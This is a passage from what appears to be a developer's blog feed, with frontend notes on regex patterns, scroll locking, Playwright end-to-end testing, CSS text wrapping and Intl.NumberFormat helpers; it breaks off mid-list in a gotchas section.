  /^[\da-f]{8}-[\da-f]{4}-4[\da-f]{3}-[89ab][\da-f]{3}-[\da-f]{12}$/i

// ISO 8601 date (shape only — doesn&apos;t reject Feb 31st)
const isoDate = /^\d{4}-(?:0[1-9]|1[0-2])-(?:0[1-9]|[12]\d|3[01])$/

// Semver, from semver.org&apos;s official pattern
const semver =
  /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][\da-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][\da-zA-Z-]*))*))?(?:\+([\da-zA-Z-]+(?:\.[\da-zA-Z-]+)*))?$/

// Markdown links → [text](url)
const links = [...md.matchAll(/\[([^\]]+)\]\(([^)\s]+)(?:\s+&quot;([^&quot;]*)&quot;)?\)/g)]

// Fenced code blocks, with optional language
// (backticks written as \u0060 so this snippet can live inside a code fence)
const blocks = [...md.matchAll(/^\u0060{3}(\w+)?\n([\s\S]*?)^\u0060{3}$/gm)]

// Frontmatter
const fm = /^---\n([\s\S]*?)\n---/.exec(md)?.[1]

// Duplicate lines
const dupes = text.match(/^(.*)$\n(?=^\1$)/gm)

// Strip ANSI escape codes
const stripAnsi = (s: string) =&amp;gt; s.replace(/\x1b\[[0-9;]*m/g, &apos;&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;TypeScript specifics&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;match&lt;/code&gt; and &lt;code&gt;exec&lt;/code&gt; return &lt;code&gt;null&lt;/code&gt;, and &lt;code&gt;.groups&lt;/code&gt; is &lt;code&gt;Record&amp;lt;string, string&amp;gt; | undefined&lt;/code&gt; regardless of what your pattern guarantees. TypeScript can&apos;t infer group names from a pattern, so narrow explicitly rather than reaching for &lt;code&gt;!&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const parseDate = (input: string) =&amp;gt; {
  const m = /^(?&amp;lt;year&amp;gt;\d{4})-(?&amp;lt;month&amp;gt;\d{2})-(?&amp;lt;day&amp;gt;\d{2})$/.exec(input)
  if (!m?.groups) return null

  const { year, month, day } = m.groups as {
    year: string
    month: string
    day: string
  }
  return { year: +year, month: +month, day: +day }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the &lt;code&gt;d&lt;/code&gt; flag you get positional info too:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const m = /(?&amp;lt;num&amp;gt;\d+)/d.exec(&apos;abc 42&apos;)!
m.indices?.groups?.num // [4, 6]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For anything with real parsing requirements, a regex-backed schema in &lt;a href=&quot;https://zod.dev&quot;&gt;Zod&lt;/a&gt; or &lt;a href=&quot;https://valibot.dev&quot;&gt;Valibot&lt;/a&gt; gives you the types &lt;em&gt;and&lt;/em&gt; the validation in one place.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Tooling&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://regex101.com&quot;&gt;regex101&lt;/a&gt; — the good one. Set the flavour to ECMAScript, use the explanation pane, and watch the step counter for backtracking blowups.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://regexr.com&quot;&gt;RegExr&lt;/a&gt; — nice cheatsheet sidebar, good for learning.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://regexper.com&quot;&gt;Regexper&lt;/a&gt; — renders a regex as a railroad diagram, which is the fastest way to understand someone else&apos;s monstrosity.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://regexes.dev&quot;&gt;regexes.dev&lt;/a&gt; — vetted, copy-pasteable patterns.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp&quot;&gt;MDN regex reference&lt;/a&gt; — the actual spec behaviour, including flag interactions.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sindresorhus/super-regex&quot;&gt;&lt;code&gt;super-regex&lt;/code&gt;&lt;/a&gt; — runs a regex with a timeout, so a ReDoS pattern can&apos;t take out your server.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a pattern needs a comment to explain it, it probably wants to be two simpler patterns, or a small parser. Regex is write-once, read-never — be kind to whoever hits it next.&lt;/p&gt;
</content:encoded><category>javascript</category><category>typescript</category><category>cheatsheet</category><author>Zander Martineau</author></item><item><title>Locking scroll</title><link>https://zander.wtf/notes/scroll-lock/</link><guid isPermaLink="true">https://zander.wtf/notes/scroll-lock/</guid><description>When an overlay is open — modal, search palette, mobile nav — the page behind it shouldn&apos;t scroll. Deceptively fiddly to get right: the naive version…</description><pubDate>Tue, 21 Jul 2026 15:30:00 GMT</pubDate><content:encoded>&lt;p&gt;When an overlay is open — modal, search palette, mobile nav — the page behind it shouldn&apos;t scroll. Deceptively fiddly to get right: the naive version causes layout shift when the scrollbar disappears, scroll chaining leaks through to the page, and iOS Safari has historically ignored the whole thing. Here&apos;s my packaged-up version.&lt;/p&gt;
&lt;h2&gt;The CSS&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;html {
  /* reserve the scrollbar space so nothing shifts when it disappears */
  scrollbar-gutter: stable;
}

html.scroll-locked {
  overflow: hidden;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;scrollbar-gutter: stable&lt;/code&gt; is the modern fix for the &quot;page jumps sideways when the scrollbar vanishes&quot; problem — no more measuring scrollbar width in JS and faking it with &lt;code&gt;padding-right&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And on the overlay itself, stop scroll chaining — without this, reaching the end of the overlay&apos;s own scrollable content starts scrolling the page behind it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.overlay {
  overscroll-behavior: contain;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The JavaScript&lt;/h2&gt;
&lt;p&gt;Just toggle the class:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const lockScroll = () =&amp;gt; {
  document.documentElement.classList.add(&apos;scroll-locked&apos;)
}

const unlockScroll = () =&amp;gt; {
  document.documentElement.classList.remove(&apos;scroll-locked&apos;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CSS-only version with &lt;code&gt;:has()&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;If the overlay&apos;s open state is already in the DOM (a &lt;code&gt;&amp;lt;dialog open&amp;gt;&lt;/code&gt;, a checked checkbox, a &lt;code&gt;[data-open]&lt;/code&gt; attribute), you can skip the JS entirely:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;html:has(dialog[open]) {
  overflow: hidden;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is what I reach for first now — the lock can&apos;t get out of sync with the overlay because it&apos;s derived from the same state.&lt;/p&gt;
&lt;h2&gt;iOS Safari&lt;/h2&gt;
&lt;p&gt;The long-standing gotcha: iOS Safari used to plain ignore &lt;code&gt;overflow: hidden&lt;/code&gt; on &lt;code&gt;html&lt;/code&gt;/&lt;code&gt;body&lt;/code&gt; for touch scrolling. Modern iOS (16+) behaves, so for current browsers the above is enough. If you still need to support older iOS, the classic workaround is fixing the body in place and restoring the scroll position on unlock:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let scrollY = 0

const lockScroll = () =&amp;gt; {
  scrollY = window.scrollY
  document.body.style.position = &apos;fixed&apos;
  document.body.style.top = `-${scrollY}px`
  document.body.style.width = &apos;100%&apos;
}

const unlockScroll = () =&amp;gt; {
  document.body.style.position = &apos;&apos;
  document.body.style.top = &apos;&apos;
  document.body.style.width = &apos;&apos;
  window.scrollTo(0, scrollY)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Don&apos;t forget&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;dialog&amp;gt;.showModal()&lt;/code&gt;&lt;/strong&gt; makes the backdrop inert and traps focus for free, but it does &lt;em&gt;not&lt;/em&gt; lock scroll — you still need one of the above (the &lt;code&gt;:has(dialog[open])&lt;/code&gt; version pairs perfectly).&lt;/li&gt;
&lt;li&gt;Nested overlays: if two things can lock at once, a bare class toggle breaks when the first one closes. Keep a counter, or scope the &lt;code&gt;:has()&lt;/code&gt; selector to cover all of them.&lt;/li&gt;
&lt;li&gt;A library that handles the edge cases (including old iOS): &lt;a href=&quot;https://github.com/willmcpo/body-scroll-lock&quot;&gt;body-scroll-lock&lt;/a&gt; — though I&apos;ve not needed it since &lt;code&gt;scrollbar-gutter&lt;/code&gt; and &lt;code&gt;:has()&lt;/code&gt; landed everywhere.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>css</category><category>javascript</category><author>Zander Martineau</author></item><item><title>Playwright</title><link>https://zander.wtf/notes/playwright/</link><guid isPermaLink="true">https://zander.wtf/notes/playwright/</guid><description>My go-to for E2E testing. Cross-browser (Chromium, Firefox, WebKit), auto-waiting built in, and the tooling (--ui mode, codegen, trace viewer) is genuinely…</description><pubDate>Tue, 21 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My go-to for E2E testing. Cross-browser (Chromium, Firefox, WebKit), auto-waiting built in, and the tooling (&lt;code&gt;--ui&lt;/code&gt; mode, codegen, trace viewer) is genuinely excellent.&lt;/p&gt;
&lt;h2&gt;Setup&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;npm init playwright@latest
# or add to an existing project
npm install -D @playwright/test
npx playwright install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Useful commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx playwright test                  # run everything, headless
npx playwright test --ui             # interactive UI mode — use this while writing tests
npx playwright test --headed         # watch the browser
npx playwright test --project=chromium
npx playwright test example.spec.ts  # single file
npx playwright test -g &quot;search&quot;      # tests matching title
npx playwright codegen zander.wtf    # record actions, generate test code
npx playwright show-report
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Config boilerplate&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;playwright.config.ts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { defineConfig, devices } from &apos;@playwright/test&apos;

export default defineConfig({
  testDir: &apos;./e2e&apos;,
  fullyParallel: true,
  forbidOnly: !!process.env.CI, // fail CI if test.only left in
  retries: process.env.CI ? 2 : 0,
  reporter: &apos;html&apos;,
  use: {
    baseURL: &apos;http://localhost:4321&apos;,
    trace: &apos;on-first-retry&apos;, // capture trace when retrying
  },
  projects: [
    { name: &apos;chromium&apos;, use: { ...devices[&apos;Desktop Chrome&apos;] } },
    { name: &apos;webkit&apos;, use: { ...devices[&apos;Desktop Safari&apos;] } },
    { name: &apos;mobile&apos;, use: { ...devices[&apos;iPhone 15&apos;] } },
  ],
  // start the dev server before tests, reuse if already running
  webServer: {
    command: &apos;pnpm dev&apos;,
    url: &apos;http://localhost:4321&apos;,
    reuseExistingServer: !process.env.CI,
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;webServer&lt;/code&gt; block is the bit I always forget — Playwright starts (and kills) your dev server for you.&lt;/p&gt;
&lt;h2&gt;A basic test&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { expect, test } from &apos;@playwright/test&apos;

test.describe(&apos;search&apos;, () =&amp;gt; {
  test(&apos;finds notes from the search page&apos;, async ({ page }) =&amp;gt; {
    await page.goto(&apos;/search&apos;)

    await page.getByRole(&apos;searchbox&apos;).fill(&apos;playwright&apos;)
    await page.keyboard.press(&apos;Enter&apos;)

    await expect(page.getByRole(&apos;listitem&apos;)).not.toHaveCount(0)
    await expect(page).toHaveURL(/q=playwright/)
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No manual waits anywhere — &lt;code&gt;expect&lt;/code&gt; retries until it passes or times out (web-first assertions), and actions auto-wait for elements to be actionable.&lt;/p&gt;
&lt;h2&gt;Locators&lt;/h2&gt;
&lt;p&gt;Prefer user-facing locators (role, label, text) over CSS/test-ids — they double as accessibility checks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;page.getByRole(&apos;button&apos;, { name: &apos;Submit&apos; })
page.getByRole(&apos;heading&apos;, { level: 1 })
page.getByLabel(&apos;Email&apos;)
page.getByPlaceholder(&apos;Search…&apos;)
page.getByText(&apos;No results&apos;)
page.getByTestId(&apos;nav-menu&apos;) // escape hatch — data-testid

// chaining and filtering
page.getByRole(&apos;listitem&apos;).filter({ hasText: &apos;CSS&apos; })
page.getByRole(&apos;list&apos;).getByRole(&apos;link&apos;).first()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Common assertions&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;await expect(page).toHaveTitle(/Zander/)
await expect(page).toHaveURL(&apos;/notes&apos;)
await expect(locator).toBeVisible()
await expect(locator).toHaveText(&apos;exact match&apos;)
await expect(locator).toContainText(&apos;partial&apos;)
await expect(locator).toHaveCount(5)
await expect(locator).toHaveAttribute(&apos;href&apos;, &apos;/search&apos;)
await expect(locator).toBeChecked()
await expect(locator).toBeDisabled()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hooks and fixtures&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;test.beforeEach(async ({ page }) =&amp;gt; {
  await page.goto(&apos;/&apos;)
})

test(&apos;nav works&apos;, async ({ page }) =&amp;gt; {
  // page already on /
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Auth once, reuse everywhere&lt;/h2&gt;
&lt;p&gt;Log in a single time in a setup project, save the browser state, reuse it in every test:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// auth.setup.ts
import { test as setup } from &apos;@playwright/test&apos;

setup(&apos;authenticate&apos;, async ({ page }) =&amp;gt; {
  await page.goto(&apos;/login&apos;)
  await page.getByLabel(&apos;Email&apos;).fill(process.env.TEST_USER_EMAIL)
  await page.getByLabel(&apos;Password&apos;).fill(process.env.TEST_USER_PASSWORD)
  await page.getByRole(&apos;button&apos;, { name: &apos;Sign in&apos; }).click()
  await page.waitForURL(&apos;/dashboard&apos;)
  await page.context().storageState({ path: &apos;.auth/user.json&apos; })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// playwright.config.ts projects
projects: [
  { name: &apos;setup&apos;, testMatch: /auth\.setup\.ts/ },
  {
    name: &apos;chromium&apos;,
    use: { ...devices[&apos;Desktop Chrome&apos;], storageState: &apos;.auth/user.json&apos; },
    dependencies: [&apos;setup&apos;],
  },
]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mocking network requests&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;test(&apos;shows empty state&apos;, async ({ page }) =&amp;gt; {
  await page.route(&apos;**/api/search**&apos;, (route) =&amp;gt;
    route.fulfill({ json: { results: [] } }),
  )

  await page.goto(&apos;/search?q=anything&apos;)
  await expect(page.getByText(&apos;No results&apos;)).toBeVisible()
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;page.route&lt;/code&gt; intercepts anything matching the glob — fulfil with a mock, &lt;code&gt;route.abort()&lt;/code&gt; to simulate failure, or &lt;code&gt;route.continue()&lt;/code&gt; with tweaks.&lt;/p&gt;
&lt;h2&gt;Debugging&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;npx playwright test --debug&lt;/code&gt; — steps through with the inspector&lt;/li&gt;
&lt;li&gt;&lt;code&gt;await page.pause()&lt;/code&gt; — drop a breakpoint into a test&lt;/li&gt;
&lt;li&gt;Traces are the killer feature: &lt;code&gt;trace: &apos;on-first-retry&apos;&lt;/code&gt; in config, then &lt;code&gt;npx playwright show-trace trace.zip&lt;/code&gt; gives you a full DOM snapshot timeline of the failure. CI failures stop being guesswork.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;CI&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# .github/workflows/e2e.yml
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
- run: npm ci
- run: npx playwright install --with-deps
- run: npx playwright test
- uses: actions/upload-artifact@v4
  if: ${{ !cancelled() }}
  with:
    name: playwright-report
    path: playwright-report/
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><category>testing</category><author>Zander Martineau</author></item><item><title>Text wrapping &amp; word breaking</title><link>https://zander.wtf/notes/css-text-wrapping/</link><guid isPermaLink="true">https://zander.wtf/notes/css-text-wrapping/</guid><description>text-wrap — overall line-wrapping strategy: balance (headings), pretty (body, avoids orphans), nowrap, stable (editable content) overflow-wrap — break…</description><pubDate>Mon, 20 Jul 2026 15:30:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;&lt;code&gt;text-wrap&lt;/code&gt; — overall line-wrapping strategy: &lt;code&gt;balance&lt;/code&gt; (headings), &lt;code&gt;pretty&lt;/code&gt; (body, avoids orphans), &lt;code&gt;nowrap&lt;/code&gt;, &lt;code&gt;stable&lt;/code&gt; (editable content)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;overflow-wrap&lt;/code&gt; — break too-long words (URLs etc.) as a last resort. &lt;strong&gt;Use this 95% of the time&lt;/strong&gt;. Prefer &lt;code&gt;anywhere&lt;/code&gt; over &lt;code&gt;break-word&lt;/code&gt; — it affects &lt;code&gt;min-content&lt;/code&gt;, so it also works inside flex/grid&lt;/li&gt;
&lt;li&gt;&lt;code&gt;word-break&lt;/code&gt; — &lt;code&gt;break-all&lt;/code&gt; breaks between any characters, all the time. Aggressive; for hashes/tokens or CJK. &lt;code&gt;keep-all&lt;/code&gt; prevents breaks in CJK&lt;/li&gt;
&lt;li&gt;&lt;code&gt;word-wrap&lt;/code&gt; — legacy alias for &lt;code&gt;overflow-wrap&lt;/code&gt;, don&apos;t use&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hyphens: auto&lt;/code&gt; — dictionary-correct breaks with a hyphen; needs &lt;code&gt;lang&lt;/code&gt; attribute&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* sensible defaults */
h1, h2, h3, h4 {
  text-wrap: balance;
}
p, li {
  text-wrap: pretty;
}

/* stop long URLs/user content blowing out layouts */
.user-content {
  overflow-wrap: anywhere;
}

/* dense wrapping for hashes/tokens */
.commit-hash {
  word-break: break-all;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Intl.NumberFormat</title><link>https://zander.wtf/notes/intl-numberformat/</link><guid isPermaLink="true">https://zander.wtf/notes/intl-numberformat/</guid><description>Locale-aware number formatting, built in. Currency symbols, thousands separators, compact &quot;1.2M&quot;-style notation, units, percentages — no library needed. I…</description><pubDate>Mon, 20 Jul 2026 15:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Locale-aware number formatting, built in. Currency symbols, thousands separators, compact &quot;1.2M&quot;-style notation, units, percentages — no library needed. I use this all the time.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new Intl.NumberFormat(&apos;en-GB&apos;).format(1234567.891)
// &apos;1,234,567.891&apos;

new Intl.NumberFormat(&apos;de-DE&apos;).format(1234567.891)
// &apos;1.234.567,891&apos; — separators flip for German
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The options I actually use&lt;/h2&gt;
&lt;h3&gt;Currency&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;new Intl.NumberFormat(&apos;en-GB&apos;, {
  style: &apos;currency&apos;,
  currency: &apos;GBP&apos;,
}).format(1099.5)
// &apos;£1,099.50&apos;

// currencyDisplay: &apos;narrowSymbol&apos; gives &apos;$&apos; instead of &apos;US$&apos;
new Intl.NumberFormat(&apos;en-GB&apos;, {
  style: &apos;currency&apos;,
  currency: &apos;USD&apos;,
  currencyDisplay: &apos;narrowSymbol&apos;,
}).format(1099.5)
// &apos;$1,099.50&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Compact notation&lt;/h3&gt;
&lt;p&gt;Great for stats, follower counts, chart axes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const compact = new Intl.NumberFormat(&apos;en-GB&apos;, { notation: &apos;compact&apos; })

compact.format(1234) // &apos;1.2K&apos;
compact.format(1234567) // &apos;1.2M&apos;
compact.format(1234567890) // &apos;1.2B&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Units&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;new Intl.NumberFormat(&apos;en-GB&apos;, {
  style: &apos;unit&apos;,
  unit: &apos;kilometer-per-hour&apos;,
}).format(50)
// &apos;50 km/h&apos;

new Intl.NumberFormat(&apos;en-GB&apos;, {
  style: &apos;unit&apos;,
  unit: &apos;megabyte&apos;,
  unitDisplay: &apos;narrow&apos;,
}).format(250)
// &apos;250MB&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Percentages&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;new Intl.NumberFormat(&apos;en-GB&apos;, { style: &apos;percent&apos; }).format(0.85)
// &apos;85%&apos; — note: takes the fraction, not 85
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Signs&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;signDisplay: &apos;exceptZero&apos;&lt;/code&gt; is handy for deltas (&quot;+3.2%&quot; in green, &quot;-1.4%&quot; in red):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const delta = new Intl.NumberFormat(&apos;en-GB&apos;, {
  style: &apos;percent&apos;,
  signDisplay: &apos;exceptZero&apos;,
  maximumFractionDigits: 1,
})

delta.format(0.032) // &apos;+3.2%&apos;
delta.format(-0.014) // &apos;-1.4%&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ranges&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;new Intl.NumberFormat(&apos;en-GB&apos;, {
  style: &apos;currency&apos;,
  currency: &apos;GBP&apos;,
}).formatRange(35, 60)
// &apos;£35–£60&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;My helpers&lt;/h2&gt;
&lt;p&gt;Wrappers I&apos;ve used across past projects — a validating base function plus thin presets on top.&lt;/p&gt;
&lt;p&gt;Constructing an &lt;code&gt;Intl.NumberFormat&lt;/code&gt; is comparatively expensive — &lt;code&gt;.format()&lt;/code&gt; calls are cheap. Earlier versions of these helpers built a fresh formatter on every call, which is fine until you&apos;re formatting a table with a few thousand cells. The fix is a small cache keyed by locale + options, so each distinct configuration only ever constructs one formatter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const DEFAULT_DECIMAL_PLACES = 2

// Module-level cache — lives for the lifetime of the app, shared by every
// caller. Constructing an Intl.NumberFormat is the expensive part; calling
// .format() on an existing one is cheap.
const formatterCache = new Map&amp;lt;string, Intl.NumberFormat&amp;gt;()

/**
 * Returns a memoised Intl.NumberFormat for the given locale + options.
 * Each distinct configuration only ever constructs one formatter.
 * @param locale - BCP 47 locale tag e.g. &apos;en-GB&apos;. Pass undefined to use the runtime&apos;s locale.
 * @param options - Standard Intl.NumberFormatOptions.
 * @returns A cached (or newly created and cached) formatter instance.
 */
const getNumberFormat = (
  locale?: string,
  options?: Intl.NumberFormatOptions,
): Intl.NumberFormat =&amp;gt; {
  // NOTE: JSON.stringify makes a stable key only if the options object is
  // always built with the same property order — true for the presets below.
  const key = `${locale}:${JSON.stringify(options)}`
  let formatter = formatterCache.get(key)
  if (!formatter) {
    formatter = new Intl.NumberFormat(locale, options)
    formatterCache.set(key, formatter)
  }
  return formatter
}

/**
 * Formats a number (or numeric string) using Intl.NumberFormat, with
 * validation. Throws rather than rendering &apos;NaN&apos; to the user.
 * @param value - The number to format. Numeric strings (&apos;1099.5&apos;) are parsed.
 * @param options - Standard Intl.NumberFormatOptions.
 * @returns The formatted number as a string.
 * @throws TypeError if value is null/undefined/empty, Error if it isn&apos;t parseable as a number.
 */
export const formatNumberBase = (
  value: string | number,
  options?: Intl.NumberFormatOptions,
): string =&amp;gt; {
  // Reject empty values outright — Intl.NumberFormat would format
  // undefined as the literal string &apos;NaN&apos;.
  if (value == null || value === &apos;&apos;) {
    throw new TypeError(&apos;formatNumber: Value is not defined&apos;)
  }
  // Guard for plain-JS callers — TS already prevents these types.
  if (typeof value === &apos;boolean&apos; || typeof value === &apos;object&apos;) {
    throw new Error(&apos;formatNumber: Invalid number format&apos;)
  }

  // API responses and form inputs often hand over numbers as strings.
  if (typeof value === &apos;string&apos;) {
    value = Number.parseFloat(value)
    if (Number.isNaN(value)) {
      throw new Error(&apos;formatNumber: Invalid number format&apos;)
    }
  }

  // Locale hardcoded — swap for undefined to follow the visitor&apos;s locale.
  return getNumberFormat(&apos;en-GB&apos;, options).format(value)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The cache grows unbounded in theory, but in practice an app has a handful of formatting configurations, so it tops out at a dozen entries. One real caveat: don&apos;t feed it user-assembled option objects from different sources and expect cache hits — the key depends on property order.&lt;/p&gt;
&lt;p&gt;The string handling matters more than it looks — API responses and form inputs hand you numbers as strings all the time, and &lt;code&gt;Intl.NumberFormat&lt;/code&gt; itself would happily format &lt;code&gt;NaN&lt;/code&gt; as the string &lt;code&gt;&apos;NaN&apos;&lt;/code&gt; rather than throwing.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Formats a number as currency.
 * @param value - The number to format.
 * @param currency - The currency code e.g. USD, GBP, EUR, etc.
 * @param decimalCount - Optional. The number of decimal places to display. Default is 2.
 * @param options - Additional, optional options for formatting the number.
 * @returns The formatted currency as a string.
 */
export const formatNumberCurrency = (
  value: number | string,
  currency: string,
  decimalCount: number = DEFAULT_DECIMAL_PLACES,
  options?: Intl.NumberFormatOptions,
) =&amp;gt; {
  return formatNumberBase(value, {
    style: &apos;currency&apos;,
    currencyDisplay: &apos;narrowSymbol&apos;,
    currency,
    maximumFractionDigits: decimalCount,
    ...options,
  })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Formats a number with decimal places.
 * @param value - The number to format.
 * @param decimalCount - Optional. The number of decimal places to display. Default is 2.
 * @param options - Additional, optional options for formatting the number.
 * @returns The formatted number as a string.
 */
export const formatNumberDecimal = (
  value: number | string,
  decimalCount: number = DEFAULT_DECIMAL_PLACES,
  options?: Intl.NumberFormatOptions,
) =&amp;gt; {
  return formatNumberBase(value, {
    style: &apos;decimal&apos;,
    maximumFractionDigits: decimalCount,
    ...options,
  })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Formats a number with a fixed number of decimal places — trailing zeros kept.
 * @param value - The number to format.
 * @param decimalCount - The number of decimal places to display. Default is 2.
 * @param options - Additional, optional options for formatting the number.
 * @returns The formatted number as a string.
 */
export const formatNumberDecimalForceDecimalPlaces = (
  value: number,
  decimalCount: number = DEFAULT_DECIMAL_PLACES,
  options?: Intl.NumberFormatOptions,
) =&amp;gt; {
  return formatNumberDecimal(value, decimalCount, {
    ...options,
    // The `Intl.NumberFormat` constructor that `formatNumberDecimal` uses trims
    // decimal places if possible so I have ensured that the number of decimal
    // places will be kept no matter what here.
    minimumFractionDigits: decimalCount,
  })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;formatNumberCurrency(1099.5, &apos;GBP&apos;) // &apos;£1,099.50&apos;
formatNumberCurrency(&apos;1099.5&apos;, &apos;USD&apos;) // &apos;$1,099.50&apos; — strings work too
formatNumberDecimal(3.14159) // &apos;3.14&apos;
formatNumberDecimal(3) // &apos;3&apos; — trims when it can
formatNumberDecimalForceDecimalPlaces(3) // &apos;3.00&apos; — forced
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;In React&lt;/h2&gt;
&lt;p&gt;Because the helpers cache their formatters, they&apos;re safe to call straight from render — no &lt;code&gt;useMemo&lt;/code&gt; gymnastics needed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { formatNumberCurrency } from &apos;~/utils/formatNumber&apos;

const PriceList = ({ prices }: { prices: number[] }) =&amp;gt; (
  &amp;lt;ul&amp;gt;
    {prices.map((price) =&amp;gt; (
      &amp;lt;li key={price}&amp;gt;{formatNumberCurrency(price, &apos;GBP&apos;)}&amp;lt;/li&amp;gt;
    ))}
  &amp;lt;/ul&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you&apos;re constructing a formatter directly in a component — say the locale comes from props or context — memoise it on its inputs instead:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useMemo } from &apos;react&apos;

const Revenue = ({ amount, locale }: { amount: number; locale?: string }) =&amp;gt; {
  const formatter = useMemo(
    () =&amp;gt;
      new Intl.NumberFormat(locale, {
        style: &apos;currency&apos;,
        currency: &apos;GBP&apos;,
        currencyDisplay: &apos;narrowSymbol&apos;,
      }),
    [locale],
  )

  return &amp;lt;strong&amp;gt;{formatter.format(amount)}&amp;lt;/strong&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without the &lt;code&gt;useMemo&lt;/code&gt;, every render constructs a new formatter — invisible on one component, real jank on a re-rendering table of them.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;percent&lt;/code&gt; takes fractions&lt;/strong&gt; — &lt;code&gt;format(0.85)&lt;/code&gt; not &lt;code&gt;format(85)&lt;/code&gt;.&lt;/li&gt;
